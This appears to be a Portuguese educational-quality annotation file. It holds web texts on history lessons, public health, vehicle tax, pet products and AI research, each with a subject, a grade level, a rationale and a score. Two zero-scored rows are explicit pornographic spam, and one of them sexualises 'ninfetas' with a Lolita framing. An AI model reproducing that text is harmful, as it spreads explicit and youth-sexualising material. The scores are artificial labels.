COMENTÁRIOS +Fabian Chacur on Jeff Lynne emociona os fãs com performance impecável da ELO +Miguel Galli on Jeff Lynne emociona os fãs com performance impecável da ELO +Fabian Chacur on Patrick Juvet, 70 anos, um dos grandes astros da disco music +Maria Goretti on Patrick Juvet, 70 anos, um dos grandes astros da disco music +Pedro Pimenta on Coke Luxe e seu rockabilly vintage faz show em São Paulo +TAGS +2013 2014 2015 2016 2017 adele billboard bossa nova brasil cantoras brasil CD classic rock clipe dv...",original,original,original,original,3,0.6 +"JavaScript está desabilitado no seu navegador. Algumas funcionalidades deste site podem não funcionar. +Browse +All of DSpaceCommunities & CollectionsBy Issue DateAuthorsTitlesSubjectsTypeRightsThis CollectionBy Issue DateAuthorsTitlesSubjectsTypeRights +Statistics +View Usage Statistics +Please use this identifier to cite or link to this item: https://www.arca.fiocruz.br/handle/icict/45053 +View/Open +14º Congresso_Uma agenda estra... (605.9Kb) +Type +Papers presented at events +Copyright +Open access +Collections +BSB - Trabalhos Apresentados em Eventos [262] +Share +Statistics +Metadata +Show full item record +UMA AGENDA ESTRATÉGICA PARA A GESTORES E TRABALHADORES DE CONSULTÓRIOS NA RUA +Machado, Marcelo Pedra Martins et al. | Date Issued: 2020 +Author +Machado, Marcelo Pedra Martins +Damásio, Fabiana +Affilliation +Sem afiliação. +Sem afiliação. +Abstract in Portuguese +Apresentação: Uma agenda estratégica para a gestores e trabalhadores de Consultórios na Rua Apresentação: A população em situação de rua (PSR), representada por 101.854 pessoas no Brasil, de acordo com os dados do Instituto de Pesquisa Estatística Aplicada (IPEA), tem exigido dos governos, nos últimos anos, políticas públicas específicas e serviços voltados ao atendimento de suas demandas e necessidades. Em 2008, a Pesquisa Nacional sobre PSR, realizada pelo Ministério do Desenvolvimento Social (MDS), já havia colocado a questão da PSR em evidência para a sociedade e o governo brasileiro, fornecendo subsídios para a formulação das políticas públicas implantadas atualmente. O número total de pessoas em situação de rua apresentado foi 31.922 até aquele momento, nas 71 cidades pesquisadas. No ano de 2009, informada pela pesquisa do MDS, foi criada a Política Nacional para População em Situação de Rua (PNPR), a partir de intensa participação dos movimentos sociais ligados à PSR. A PNPR aponta como cerne a garantia de acesso desta população específica aos serviços e às políticas públicas, em especial as do Sistema Único de Saúde (SUS) e Sistema Único de Assistência Social (SUAS). É a partir dessas iniciativas e por meio da Política Nacional da Atenção Básica (PNAB), que as equipes de Consultório na Rua (eCR) passam a ser vistas como uma estratégia de cuidado integral à PSR. Os Consultórios na Rua são equipes multiprofissionais que desenvolvem suas atividades de forma itinerante e também nas Unidades Básicas de Saúde (UBS) locais. Neste contexto, o objetivo deste trabalho foi apresentar uma agenda estratégica para gestores e trabalhadores de Consultórios na Rua, a partir das realidades dos territórios e dos processos de trabalho das equipes do Distrito Federal. Desenvolvimento: descrição da experiência ou método do estudo: Este estudo é um estudo descritivo e analítico sobre as práticas de cuidado produzidas pelas eCR no Distrito Federal com base na abordagem qualitativa e utilizando o referencial teórico da Psicossociologia. A população-alvo foi os gestores e trabalhadores das eCR/DF, com a participação de 4 (quatro) gestores e 16 (dezesseis) trabalhadores. O detalhamento da população será explicitado no decorrer deste capítulo. A pesquisa foi composta das seguintes etapas: reunião de apresentação e construção do processo de investigaç��o junto aos gestores e trabalhadores das eCR; entrevistas com os gestores das eCR/DF (4 entrevistas); aplicação de um questionário sobre as práticas das equipes com os trabalhadores das eCR/DF (16 questionários); e realização de um Café Mundial com os trabalhadores e gestores das eCR/DF (20participantes). Brasília conta com 3 eCR (Plano Piloto, Taguatinga e Ceilândia). Resultado: Os efeitos percebidos decorrentes da experiência ou resultados encontrados na pesquisa. Neste ponto, no intuito de qualificar as práticas e o processo de trabalho dos Consultórios na Rua/DF, foram sistematizados todos os dados levantados durante as entrevistas com os gestores das eCR, os questionários com os trabalhadores das eCR, juntamente com os conteúdos dos debates e da produç...",original,original,original,original,3,0.6 +"Orgulhosos por trabalhar com dezenas de empresas nacionais +Conheça alguns casos de estudo do nosso trabalho.",original,original,original,original,1,0.2 +"Olá, pequenos exploradores da história! Já pensaram como seria legal ter uma máquina do tempo? Infelizmente, ainda não temos uma, mas podemos usar outra ferramenta incrível para viajar pelo passado: a linha do tempo! + +A linha do tempo é como um mapa gigante que nos ajuda a organizar os acontecimentos, mostrando o que aconteceu primeiro, o que veio depois e assim por diante. É como se fosse uma régua gigante que mede o tempo, desde o passado bem distante até o presente, o agora. + +Imagine que você quer contar a história do seu dia. Primeiro, você acordou, depois tomou café, foi para a escola, brincou no recreio e, finalmente, voltou para casa. Se colocássemos tudo isso em uma linha do tempo, veríamos a ordem em que as coisas aconteceram. Começaríamos com ""Acordei"" lá no início da linha e terminaríamos com ""Voltei para casa"" no final. + +Na história do Brasil, a linha do tempo também nos ajuda a entender como o país se formou. Podemos colocar nela momentos importantes como a chegada dos portugueses, a declaração da Independência, a abolição da escravidão e a proclamação da República. Assim, fica mais fácil entender a sequência dos fatos e como um acontecimento influenciou o outro. + +Por exemplo, a chegada dos portugueses em 1500 está bem no comecinho da linha do tempo do Brasil. Depois de muitos anos, em 1822, Dom Pedro I declarou a Independência, um momento super importante que colocamos mais à frente na linha do tempo. E, mais para frente ainda, em 1888, a Princesa Isabel assinou a Lei Áurea, acabando com a escravidão. Viu como a linha do tempo nos ajuda a organizar tudo? + +Usar a linha do tempo é super divertido! Você pode criar a sua própria linha do tempo com a história da sua família, com fotos e desenhos. Ou, quem sabe, fazer uma linha do tempo sobre os seus personagens favoritos dos livros! + +Agora, pense um pouquinho: se você fosse colocar um evento importante da sua vida na linha do tempo, qual seria? E por quê? Descobrir a história é como montar um grande quebra-cabeça, e a linha do tempo é uma ferramenta essencial para entendermos o nosso passado e construirmos um futuro ainda melhor!",História,Linha do tempo,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de linha do tempo de forma didática e envolvente, utilizando exemplos práticos e relevantes para o público infantil. A linguagem é acessível e estimula a reflexão, tornando-o adequado para o ensino fundamental. Apresenta coerência e foco no tema, além de incentivar a criação de linhas do tempo personalizadas, o que reforça o aprendizado e a memorização.",5,1.0 +"Como adicionar abas no Windows Explorer +Você não precisa esperar o lançamento definitivo do Windows 8 para ter algumas funcionalidades novas no seu Windows Explorer. A nova versão do sistema operacional promete mudanças para o gerenciador de pastas, mas você já pode conferir uma ótima novidade que nem mesmo o novo Windows terá. +A navegação por abas, presente há bastante tempo nos navegadores web, agora pode ser usada para gerenciar seus arquivos, pastas e dispositivos. Se você não consegue lidar com várias janelas do Windows Explorer abertas ao mesmo tempo, fique atento e aprenda a organizar melhor o seu computador. +Pré-requisito +Clover +A função de juntar todas as janelas em abas no gerenciador de arquivos do Windows não é nativa do sistema. Dessa forma, você precisa utilizar um programa específico para conseguir habilitar a opção. Para isso, você precisa utilizar o Clover. +Aprenda a lidar com a ferramenta +Depois de baixar o Clover e executar o arquivo, o seu Windows Explorer será aberto já com o novo sistema de abas. A aparência dessas guias e do topo da janela é idêntica ao formato utilizado no Google Chrome e perfeitamente integrada com a interface Aero do Windows 7. +Assim como no Chrome, aqui existe o botão ""+"", que abre uma nova guia. Nesse caso, o diretório ""Computador"" é carregado quando acionamos o ícone em questão. Você pode usar quantas abas quiser ou ainda mais de uma janela com várias guias ao mesmo tempo.",original,original,original,original,3,0.6 +"Personalizar Almofada +Personalizar Capa de Celular +Personalizar Quadro Canvas +Personalizar Quadro Moldura +Qual o valor dos produtos? +Os produtos tem valores variados. Consulte nossa página de vendas. Clique AQUI para ser direcionado. +É só você tirar uma foto do seu pet, escolher um background (fundo) legal e o produto que você quer. Clique AQUI para mais detalhes. +Entregam em quais regiões? +Entregamos em todas as regiões do país mediante as condições dos Correios. +O valor pode variar dependendo do tamanho, peso e local de entrega da encomenda. Consulte o cálculo no ato da compra. +Os quadros são pinturas á mão? +Não. São imagens tratadas por profissionais que dão o efeito de pintura para o quadro. Impressos digitalmente, o que garante cores vivas e duradouras. +É simples! Você pode ir até a área de vendas do nosso site e simular uma compra. +É possível ter uma prévia do quadro? +Não. O processo de criação da arte é muito rápido e não é possível pausa-lo ou retrocede-lo, o que comprometeria o prazo de produção e entrega. +O prazo pode variar mediante o local da entrega e condições da transportadora. +Qual a diferença do quadro Canvas Moldura + Vidro? +O modelo Canvas é uma tela para ser emoldurada, Impressa em tecido de algodão e esticada em um chassi de madeira. O Moldura e Vidro é um modelo já emoldurado, com uma tela de vidro e fundo de MDF. Consulte os tamanhos disponíveis. +Aceitamos todas as formas de pagamento online. O Mercado Pago garante a segurança da transação. +O quadro é feito a partir da imagem enviada. Consulte disponibilidade por email no ato da compra. +Posso colocar mais de um pet no meu quadro? +Isso pode variar pelo produto e tamanho escolhido. Consulte disponibilidade por email no ato da compra. +Minha encomenda está atrasada +Meu pacote voltou para a Imaginae +Após 3 tentativas de entrega no caso do SEDEX e 2 tentativas no caso do PAC, sua encomenda fica disponível por 7 dias na agência dos Correios mais próxima do seu endereço. Após este período ela é devolvida a IMAGINAE. Neste caso o frete de reenvio deverá ser pago pelo cliente. +Os Correios não entrega no meu CEP +A entrega da encomenda em área rural ou de risco é realizada exclusivamente na agência dos Correios mais próxima do endereço do destinatário, que receberá um aviso em seu endereço. Em alguns casos os Correios não enviam o aviso de chegada, por isso é muito importante rastrear seu pedido periodicamente. +É possível cancelar a compra? +Por serem produtos fabricados exclusivamente sob encomenda e totalmente personalizados, a desistência somente poderá ser feita no período máximo de 48 horas após a compra. Após esse prazo a IMAGINAE não fará devolução total de valores, exceto nos casos de defeito do produto. +Não é o que queria, como é o reembolso? +O reembolso será de 70% do valor da compra nas hipóteses em que o cliente estiver insatisfeito com a compra realizada, tendo sua desistência no prazo máximo de 48h após o pagamento. +Após a aprovação da arte final pelo cliente e, consequentemente, envio para confecção, não caberá reembolso de qualquer valor por desistência. +Envie um email para oi@imaginae.com.br, com seu nome completo, número do pedido e foto do produto, relatando o defeito. Após analisarmos o pedido, entraremos em contato para troca ou ressarcimento do valor. Não fornecemos embalagem para envio. +Identificado o defeito, o cliente poderá optar por receber um novo produto de mesma referência ou ressarcimento do valor pago. O produto não poderá ter indícios de uso. +Quero outro produto que não encontrei no site +Envie um email para oi@imaginae.com.br com o assunto ENCOMENDA e nos conte do que precisa. Faremos todo possível para atender você. +Gostei! Quero revender +Envie um email para oi@imaginae.com.br com o assunto QUERO REVENDER, com seu nome, telefone de contato e região onde está. Entraremos em contato o mais breve para conversarmos sobre como cresceremos juntos. +Use a ferramenta padrão dos correios para rastrear seu pedido utilizando o código de rastreio...",original,original,original,original,1,0.2 +"Imagine aquela cena típica nos transportes públicos na hora do rush. Passageiros circulando de um lado para o outro, alguns com pressa, outros nem tanto, cada um com seu destino final. Mas o que faz com que as pessoas não se choquem umas com as outras? Matemáticos da Universidade Tecnológica de Eindhoven, na Holanda, publicaram, no ultimo dia 24, uma pesquisa que mapeia os movimentos dos pedestres e revela como eles se comportam em meio às multidões. O estudo é importante pois pode ajudar a evitar tragédias que envolvem grandes públicos como o caso do Love Parade, um festival de música na Alemanha, no qual 21 pessoas morreram pisoteadas e 500 ficaram feridas em 2010. +Um dos desafios do experimento, no entanto, foi monitorar grandes grupos e sua imprevisibilidade. Pois, um indivíduo pode, a qualquer momento, alterar sua trajetória. Para isso, os cientistas desenvolveram um método de mapeamento e compreensão de deslocamento de pedestres nas multidões, posicionando câmeras para gravar os movimentos em um corredor da Universidade de Eindhoven. As câmeras eram equipadas com um sensor de movimento 3D, como os que são usados em video games. Em um ano, a equipe captou imagens e identificou cerca de 70 mil rotas utilizadas pelos transeuntes. Com o resultado, estabeleceu-se o caminho adotado com mais frequência, levando em conta as variações ‘inesperadas’. +Assim, foi possível observar, por exemplo, com qual frequência um indivíduo muda sua rota e dá uma ‘meia volta’, movimento que, dependendo do tamanho da multidão, pode causar problemas de fluxo e obstrução de passagem. De acordo com os pesquisadores, conhecer e entender os caminhos tomados pelos pedestres durante situações adversas pode ajudar na organização e planejamento de controle de fluxo e evasão dos locais que recebem grandes públicos como o metrô e estádios de futebol.",original,original,original,original,4,0.8 +"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E como vivem os povos indígenas hoje em dia? A história do Brasil é muito mais rica e diversa do que imaginamos, e os povos indígenas são parte fundamental dessa história. Eles são os habitantes originários desta terra, e suas culturas, tradições e conhecimentos são um tesouro que devemos valorizar e respeitar. + +Antes de 1500, existiam milhares de povos indígenas diferentes, cada um com sua própria língua, costumes e crenças. Eles viviam em harmonia com a natureza, utilizando os recursos da floresta de forma sustentável. A agricultura, a pesca e a caça eram atividades importantes para a sua sobrevivência, mas também a arte, a música e os rituais religiosos desempenhavam um papel essencial em suas vidas. + +Com a chegada dos portugueses, a vida dos povos indígenas mudou drasticamente. Muitos foram mortos em guerras, escravizados ou morreram por causa de doenças trazidas pelos europeus. Suas terras foram invadidas e seus costumes, muitas vezes, desrespeitados. Apesar de toda essa violência, os povos indígenas resistiram e continuaram lutando para preservar sua cultura e seus direitos. + +Hoje em dia, ainda existem muitos povos indígenas no Brasil, espalhados por todo o território nacional. Alguns vivem em terras demarcadas, protegidas por lei, onde podem manter seus costumes e tradições. Outros vivem em áreas urbanas, buscando novas oportunidades e enfrentando os desafios da vida moderna. Em comum, todos eles compartilham a luta pelo reconhecimento de seus direitos e pela valorização de sua cultura. + +É importante lembrar que os povos indígenas não são todos iguais. Cada povo tem sua própria história, sua própria língua e seus próprios costumes. Alguns são mais conhecidos, como os Yanomami, os Guarani e os Kayapó, mas existem muitos outros que merecem ser reconhecidos e valorizados. O que todos eles têm em comum é a ligação profunda com a terra e a preocupação com a preservação do meio ambiente. + +Que tal pesquisar sobre um povo indígena que vive perto da sua cidade? Ou ler um livro escrito por um autor indígena? Descobrir a história e a cultura dos povos indígenas é uma forma de valorizar a diversidade do nosso país e de construir um futuro mais justo e igualitário para todos. Pense nisso: O que podemos aprender com os povos indígenas sobre respeito à natureza e convivência em comunidade? Como podemos contribuir para a valorização da cultura indígena e para a defesa de seus direitos?",História,Povos indígenas,anos finais (6º ao 9º ano),"O texto apresenta informações básicas relevantes sobre os povos indígenas no Brasil antes e depois da chegada dos portugueses, introduzindo conceitos importantes relacionados ao currículo escolar, como a diversidade cultural e a importância da preservação da cultura indígena. O texto é coerente, com estilo de escrita claro e consistente, adequado para o ensino fundamental. As perguntas ao final estimulam a reflexão e pesquisa, aumentando o valor educacional do trecho. Por isso, atribuo a nota máxima.",5,1.0 +"ONG levanta debate sobre direito à vida; antropólogos condenam imposição de lei e defendem que mudança ocorra por meio do diálogo +Em cerca de 20 das mais de 200 etnias do país, costume leva à morte gêmeos, filhos de mães solteiras e crianças com deficiência +No Xingu, Paltu Kamaiurá segura seu filho, Mayutá, que foi salvo da morte a que estava destinado por sua tribo; seu irmão gêmeo foi morto, como manda a tradição +Mayutá, índio de quase dois anos de idade, deveria estar morto por conta da tradição de sua etnia kamaiurá. Na lei de sua tribo, gêmeos devem ser mortos ao nascer porque são sinônimo de maldição. Paltu Kamaiurá, 37, enviou seu pai, pajé, às pressas para a casa da família de sua mulher, Yakuiap, ao saber que ela havia dado à luz a gêmeos. Mas um deles já tinha sido morto pela família da mãe. +Paltu enfrentou discriminação da tribo, para a qual a criança amaldiçoaria a aldeia. Relutou, porém, em sair do parque do Xingu (MT), onde vive sua etnia e outras 13, muitas das quais praticam o infanticídio. +No ano passado, ele soube do trabalho da ONG Atini, que combate a prática, por meio de sua irmã Kamiru, que desenterrou o menino Amalé, condenado a morrer por ser filho de mãe solteira. Kamiru teve contato com a entidade em Brasília, ao buscar tratamento médico para o filho adotivo. +Paltu pediu ajuda à ONG para conscientizar os índios de sua aldeia. A entidade foi criada há cerca de dois anos pelos lingüistas Márcia e Edson Suzuki, que em 2001 adotaram Hakani, 12. Devido à desnutrição em decorrência de hipotireoidismo congênito, que seus pais acreditavam ser uma maldição, Hakani, da etnia suruarrá, deveria morrer. Foi salva pelo irmão. +É Hakani que dá nome ao documentário dirigido pelo diretor e produtor norte-americano David L. Cunningham, que está em fase de finalização e deve ser lançado neste mês no Brasil e nos Estados Unidos. Rodado em fevereiro em Porto Velho (RO) com o apoio da Atini, o vídeo mostra a história de Hakani e depoimentos contra o infanticídio, na voz de índios. +Ainda praticado por cerca de 20 etnias entre as mais de 200 do país, esse princípio tribal leva à morte não apenas gêmeos, mas também filhos de mães solteiras, crianças com problema mental ou físico, ou doença não identificada pela tribo. +Projeto de lei +O documentário aborda projeto de lei que trata de “combate às práticas tradicionais que atentem contra a vida”, que tramita na Câmara desde maio passado. A Lei Muwaji, como é chamada em homenagem à índia que enfrentou a tribo para salvar sua filha com paralisia cerebral -caso que inspirou a criação da Atini-, estabelece que “qualquer pessoa” que saiba de casos de uma criança em situação de risco e não informe às autoridades responderá por crime de omissão de socorro. A pena vai de um a seis meses de detenção ou multa. +A proposta é polêmica entre índios e não-índios. Há quem argumente que o infanticídio é parte da cultura indígena. Outros afirmam que o direito à vida, previsto no artigo 5º da Constituição, está acima de qualquer questão. +“Nós vivemos sob uma ordem legal e a lei diz que o direito à vida é mais importante que a cultura”, afirma Maíra Barreto, doutoranda em direitos humanos pela Universidade de Salamanca (Espanha), cuja tese é sobre infanticídio indígena. +Para ela, conselheira da Atini, há incoerência no fato de o Brasil ser signatário de convenções internacionais que condenam tradições prejudiciais à saúde da criança e não cumpri-las no caso dos índios. +Em 2004, o governo brasileiro promulgou, por meio de decreto presidencial, a Convenção 169 da OIT (Organização Internacional do Trabalho), que determina que os povos indígenas e tribais “deverão ter o direito de conservar seus costumes e instituições próprias, desde que não sejam incompatíveis com os direitos fundamentais definidos pelo sistema jurídico nacional nem com os direitos humanos internacionalmente reconhecidos”. +Antes disso, em 1990, o Brasil já havia promulgado a Convenção sobre os Direitos da Criança da ONU, que reconhece ...",original,original,original,original,4,0.8 +"Esperando se acabar de foder puxando pela minha cintura e em menos e ele batia novamente, meus olhos se reviraram. E com os corpos bem juntos, gozaram sussurrou: eu te quero agora, sozinhos na casa dele gostosa masturbando atraente menina quente tetas orgasmo , e colocar um dedo na sua buceta, gozando e que estava enchendo sua buceta de gala e no primeiro dia de treino apoiou meu quadril e disse: tudo bem. Estava usando uma mini calcinha tentando mais prolongar o momento. E me dizia indecencias enquanto me fodia subir e descer a pontinha da pica. +Sentir cada parte da minha pele gostosa masturbando, e solitária que resultaram, mudado para uma cidade próxima, nós conheciamos bem nós ficamos nos olhando que depois era uma musica agitada, ele colocava seu pau em mim, que estava normal é claro gostosa masturbando atraente menina quente tetas orgasmo em uma sequencia ordenada para frente.",original,original,original,original,0,0.0 +"Todos os dias nós adicionamos os melhores filmes para adultos. Alunos foda legal depois dos exames. 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Nao saimos juntos, levemente separados, muito raramente juntos. Tags Contatos de esposas e comedores. Oi Amaro,tudo bem? Vi seu anuncio e adoreeei! Meu ponto fraco é mulher gordinha! Podemos cv? +730 pessoas responderam seu anúncio : +Youporn Ninfetas O que é uma ninfeta para você? Aquela jovem extremamente sedutora, que tira a cabeça de qualquer homem do sério, principalmente os restante maduros? É aquela espécie de Lolita, que te enlouquece usando uma roupinha inocente, como um vestido primaveril? As ninfetas se originaram das ninfas, os espíritos femininos que cuidavam da natureza e, muitas vezes, terminavam envolvidas em orgias. Com o tempo, a termo ninfa deu origem ao termo ninfeta, e passou a significar exatamente o que você conhece hoje: uma mulher muito jovem, sexualmente ativa e extremamente sedutora. Tudo aquilo que enlouquece os homens mundo afora.",original,original,original,original,0,0.0 +"Governo prepara acordo com indústria para cortar no açúcar e na gordura – Observador "",s=' +Governo prepara acordo com indústria para cortar no açúcar e na gordura +▲Em 2017, o consumo das bebidas mais açucaradas diminuiu para metade +Esse seria, aliás, o destino da taxa do sal, chumbada na Assembleia da República, e que resultaria em 30 milhões de euros anuais para a área da promoção da saúde. A propósito deste chumbo, Fernando Araújo disse que esse chumbo lhe mereceu “alguma preocupação”. “O objetivo não era angariar verbas, mas pressionar [a indústria] para reformular os produtos” e produzi-los com menos sal, explicou. +Vamos com eles [indústria] discutir objetivos concretos para determinado conjunto de gamas de produtos, ao longo de vários anos. A nossa proposta é de três anos com metas anuais de redução de sal e de açúcar nos produtos que consideramos mais importantes para ver se conseguimos por esta via melhorar a qualidade da alimentação dos portugueses”, afirmou Fernando Araújo. +Na mira do governo estão três áreas: o açúcar, o sal e as gorduras, nomeadamente as ‘trans’ (gorduras artificiais criadas pela indústria de alimentos). “Vamos colocar objetivos de redução anuais, de modo a que estejam alinhados com as boas práticas europeias”, disse.",original,original,original,original,2,0.4 +"IPVA ES - Calendário, Consulta, Tabela +outubro 26, 2018 • +O Imposto Sobre Propriedade de Veículos Automotor (IPVA) é um Imposto Estadual que tem valor que varia de estado para estado, no estado do Espirito Santo (ES) o valor do Imposto Sobre Propriedade de Veículos Automotivos (IPVA) é de 1% (um por cento) sobre o valor de mercado do veículo do Ônibus; Micro-Ônibus; Caminhões; Motocicletas e Ciclomotores. +Os Veículos Automotivos no estado do Espirito Santo (ES) temo valor de Imposto Sobre Propriedade de Veículos Automotivos (IPVA) de 2% do valor do preço de mercado do veículo carros de passeios e veículos leves, o valor do preço do veículo é determinado pela Fundação de Pesquisa Econômica (FIPE). +A Função do Imposto Sobre Propriedade de Veículos Automotor (IPVA) é irrestrita fiscal, ou seja, o valor arrecadado com imposto não tem um destino certo, vai todo para o Tesouro do Estado, e pode ser utilizado na manutenção de vias ou investido em obras de serviços, porém não existe a obrigatoriedade do investimento dos tributos arrecadados com o imposto serem utilizados na manutenção de infra estrutura viária. +No estado do Espírito Santo o pagamento do Imposto Sobre Propriedade de Veículo pode ser feito pela internet através do DETRAN-ES ou em qualquer agência bancária com a impressão do boleto de pagamento do Imposto Sobre Propriedade de Veículos Automotor(IPVA). +Para efetuar o pagamento do Imposto Sobre Propriedade de Veículos (IPVA) será necessário respeitar a ordem anual do Calendário de Pagamento do IPVA e Licenciamento DETRAN-ES, a ordem de pagamento do IPVA foi criada para todo o território nacional e é determinada pelo DETRAN de cada estado podendo sofrer poucas variação nos meses de pagamento do imposto. +O pagamento do Imposto Sobre Propriedade de Veículo (IPVA) deve obedecer o escalonamento observado os dois últimos números da placa do carro e os meses do ano que pode obedecer o critério de início no mês de janeiro ou fevereiro e término nos meses de dezembro ou novembro, o Calendário de Pagamento será divulgado no site do DETRAN-ES (Acesse AQUI) no início do ano de 2019, após a divulgação não acontecerá mais alterações no Calendário de Pagamento. +Consulta e Emissão de Boleto DETRAN-ES +A consulta de Multas; Licenciamentos e IPVA poderá ser realizada através do site do DETRAN- ES, na página Multas do DETRAN-ES é possível fazer a consulta e regularização de Multas em Atraso para pagamento do Imposto Sobre Propriedade de Veículos Automotor (IPVA). +Veja, passo a passo como acessar a página do DETRAN para fazer a impressão do Boleto de Pagamento do Imposto Sobre Propriedade de Veículos Automotor (IPVA). +O Primeiro passo para conseguir o Boleto de Pagamento do Imposto Sobre Propriedade de Veículos Automotivos (IPVA) é digitar no navegador o endereço eletrônico de acesso ao DETRAN www.detran.es.gov.br. +Busque no Menu Veículos. Clique Sobre a Palavra Veículo do Menu. +Na Página Veículos, escolha Boleto Unificado ou Boleto do IPVA. +Na Página Boleto do IPVA digite a Placa do Carro; Número do RENAVAM e o Código Solicitado. Pressione o Botão Consultar. +Pronto! Agora é só imprimir o Boleto de Pagamento e fazer o pagamento do Imposto Sobre Propriedade de Veículos Automotivos (IPVA) em qualquer Agência Bancária. +A Escala de Vencimento do Imposto Sobre Propriedade de Veículos Automotivos (IPVA) varia de acordo com a Tabela de Escala de Vencimento que também é chamada de Calendário do IPVA, no DETRAN-ES o mês do vencimento do Imposto Sobre Veículos Automotor (IPVA) é o mesmo do pagamento da Taxa de Licenciamento do Veículo e DPVAT (Seguro do Carro). +A criação da Tabela de Vencimento é uma determinação federal, adotada em todos os estados para evitar filas no pagamento do Licenciamento do Carro e Imposto Sobre Propriedade de Veículos Automotor (IPVA). +IPVA SE – Calendário, Consulta, Tabela +IPVA DF | Calendário, Consulta, Tabela +IPVA SC – Calendário, Consulta, Tabela +IPVA AC | Calendário, Consulta, Tabela +IPVA MS – Calendário, Consulta, Tabela",original,original,original,original,2,0.4 +"Vestido de Festa charmoso com decote ombro a ombro, manga morcego, com corte semi sereia todo trabalhado em pedrarias.",original,original,original,original,0,0.0 +"Algoritmo inspirado no cérebro ajuda redes neurais a lembrar +novembro 4, 2018 Por Redacao +Os neurocientistas da Universidade de Chicago descobriram uma adaptação de um mecanismo do cérebro que pode melhorar a capacidade das redes neurais artificiais de aprender múltiplas tarefas. +Por trás da maioria das tecnologias atuais de inteligência artificial, desde carros autônomos até reconhecimento facial e assistentes virtuais, existem redes neurais artificiais. Embora baseados vagamente no modo como os neurônios se comunicam no cérebro, esses sistemas de deep learning permanecem incapazes de muitas funções básicas que seriam essenciais para os primatas e outros organismos. +No entanto, um novo estudo dos neurocientistas da Universidade de Chicago descobriu que a adaptação de um mecanismo cerebral bem conhecido pode melhorar drasticamente a capacidade das redes neurais artificiais a aprender várias tarefas e evitar o desafio persistente da Inteligência Artificial ​​de “esquecer”. O estudo, publicado no Proceedings of National Academy of Sciences, fornece um exemplo único de como a pesquisa em neurociência pode informar novas estratégias de ciência da computação e, inversamente, como a tecnologia de IA pode ajudar os cientistas a entender melhor o cérebro humano. +Quando combinado com métodos previamente relatados para estabilizar conexões sinápticas em redes neurais artificiais, o novo algoritmo permitiu que redes neurais artificiais individuais aprendessem e realizassem centenas de tarefas com perda mínima de precisão, potencialmente permitindo tecnologias de IA mais poderosas e eficientes. +“Intuitivamente, você pode pensar que quanto mais tarefas você quiser que uma rede saiba, maior a rede deve ser”, disse David Freedman, professor de neurobiologia da Universidade de Chicago. “Mas o cérebro sugere que há provavelmente uma maneira eficiente de reunir muitos conhecimentos em uma rede razoavelmente pequena. +Quando você olha para partes do cérebro envolvidas em funções cognitivas superiores, você tende a descobrir que as mesmas áreas, até as mesmas células, participam de muitas funções diferentes. A ideia era inspirar-se no que o cérebro faz para resolver desafios com redes neurais. ” +Em redes neurais artificiais, catastrophic forgetting, ou “esquecimento catastrófico”, refere-se à dificuldade em ensinar o sistema a realizar novas habilidades sem perder funções previamente aprendidas. Por exemplo, se uma rede inicialmente treinada para distinguir entre fotos de cães e gatos é então treinada novamente para distinguir entre cães e cavalos, ela perderá sua capacidade anterior. +“Se você mostrar a uma rede neural treinada uma nova tarefa, ela esquecerá completamente sua tarefa anterior”, disse Gregory Grant, da AB18, que agora é pesquisador do laboratório Freedman. “Isso diz: ‘Eu não preciso dessa informação’, e substitui. Isso é um desastre. Acontece muito rapidamente, dentro de apenas algumas iterações, sua tarefa anterior pode ser completamente aniquilada.” +Por outro lado, o cérebro é capaz de “aprendizado contínuo”, adquirindo novos conhecimentos sem eliminar antigas memórias, mesmo quando os mesmos neurônios são usados ​​para múltiplas tarefas. Uma estratégia que o cérebro usa para esse desafio de aprendizagem é a ativação seletiva de células ou componentes celulares para diferentes tarefas – essencialmente ligando sub-redes menores e sobrepostas para cada habilidade individual ou sob diferentes contextos. +Os pesquisadores da Universidade de Chicago adaptaram esse mecanismo neurocientífico às redes neurais artificiais através de um algoritmo que eles chamavam de “gating dependente de contexto”. Para cada nova tarefa aprendida, apenas 20 por cento aleatórios de uma rede neural são ativados. Depois que a rede é treinada em centenas de tarefas diferentes, um único nó pode estar envolvido em dezenas de operações, mas com um conjunto exclusivo de pares para cada habilidade individual. +Quando combinada com métodos previamente desenvolvidos pe...",original,original,original,original,4,0.8 +"Já parou para pensar em como o seu corpo é fascinante? Ele é como uma máquina superpotente, capaz de realizar tarefas incríveis todos os dias! Desde respirar enquanto você dorme até correr em uma partida de futebol, tudo isso acontece graças a um conjunto de sistemas trabalhando em perfeita harmonia. Vamos embarcar em uma aventura para explorar alguns desses sistemas e descobrir como cuidar bem dessa máquina maravilhosa que é o seu corpo. + +Imagine o seu corpo como uma cidade movimentada. O sistema digestório é como a central de reciclagem, responsável por transformar os alimentos que você come em energia e nutrientes essenciais. Quando você mastiga uma maçã, por exemplo, está dando o pontapé inicial para que essa central comece a trabalhar. O sistema respiratório, por sua vez, é como o sistema de ventilação da cidade, garantindo que o ar puro chegue a todos os cantos, eliminando o ar poluído. A cada inspiração e expiração, o oxigênio entra nos seus pulmões e é levado para o sangue, que o distribui para todas as células do seu corpo. + +E o sistema cardiovascular? Ele é como a rede de transporte da cidade, com o coração atuando como a bomba central que impulsiona o sangue através dos vasos sanguíneos, levando oxigênio e nutrientes para todas as células e removendo os resíduos. Já o sistema nervoso é como a central de comunicação da cidade, transmitindo mensagens rápidas através dos nervos para controlar todas as suas ações, desde um simples piscar de olhos até a resolução de um problema de matemática. O cérebro, o grande maestro desse sistema, recebe e processa todas essas informações, permitindo que você pense, sinta e aprenda. + +Mas para que essa máquina continue funcionando perfeitamente, é fundamental cuidar da saúde! Uma alimentação equilibrada, rica em frutas, verduras, legumes e proteínas, fornece os nutrientes necessários para o bom funcionamento de todos os sistemas. A prática regular de exercícios físicos fortalece os músculos, melhora a circulação sanguínea e aumenta a capacidade respiratória. E não podemos esquecer do sono, que é essencial para o descanso e a recuperação do corpo e da mente. Dormir bem permite que o cérebro processe as informações do dia, consolide a memória e prepare você para um novo dia cheio de aprendizado e diversão. + +Assim como uma cidade precisa de manutenção constante, o seu corpo também precisa de cuidados diários. Lavar as mãos regularmente, escovar os dentes após as refeições e tomar banho são hábitos simples que ajudam a prevenir doenças e manter a higiene pessoal. Além disso, é importante estar atento aos sinais que o seu corpo envia. Se você sentir alguma dor ou desconforto, procure um médico para que ele possa te ajudar a resolver o problema o mais rápido possível. + +Agora que você já conhece um pouco mais sobre essa incrível máquina humana, que tal colocar em prática tudo o que aprendeu? Experimente escolher alimentos saudáveis para o seu lanche, praticar um esporte que você goste e dormir um pouco mais 